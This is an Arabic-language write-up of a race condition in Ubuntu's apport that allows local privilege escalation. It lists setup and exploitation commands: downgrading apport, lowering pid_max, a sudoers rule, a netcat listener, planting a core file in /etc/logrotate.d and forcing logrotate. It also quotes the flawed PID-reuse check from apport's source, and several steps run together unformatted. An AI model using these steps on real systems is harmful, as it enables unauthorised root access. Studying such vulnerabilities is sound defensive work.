
حالة سباق في apport تؤدي إلى تصعيد الامتيازات المحلية على Ubuntu
sudo apt-get install apport=2.20.11-0ubuntu27 (أي إصدار <= 2.20.11-0ubuntu27.10 مناسب، لكن يجب تنزيل كود المصدر)echo 10000 | sudo tee /proc/sys/kernel/pid_maxALL ALL=(root) NOPASSWD: /usr/bin/ping في /etc/sudoersulimit -c unlimited; ./exploit عدة مرات/etc/logrotate.d/corenc -lvcp 1234sudo logrotate -vf /usr/sbin/logrotate /etc/logrotate.conf لتشغيل logrotate فورًا. (مطابق تمامًا لـ /etc/cron.daily/logrotate)يتحقق Apport مما إذا كان pid قد أُعيد استخدامه، وذلك بالتحقق مما إذا كان وقت بدء العملية أحدث من وقت بدء Apport نفسه:
# /usr/share/apport/apport
594 apport_start = get_apport_starttime()
595 process_start = get_process_starttime()
596 if process_start > apport_start:
597 error_log('process was replaced after Apport started, ignoring')
598 sys.exit(0)
ولكن يمكن إعادة استخدام هذا pid بعد تشغيل Apport مباشرة. في هذه الحالة، get_apport_starttime() == get_process_starttime().
إذًا، يمكنك جعل Apport يضع ملف core بصلاحيات -rw------- root:root، إذا تمكنت من إعادة شغل هذا PID بعملية أخرى تعمل تحت uid==0:
sudo ping 8.8.8.8 مع مجلد العمل الحالي /etc/logrotate.d/. ستعيد عملية تعمل تحت صلاحيات root:root شغل pid A.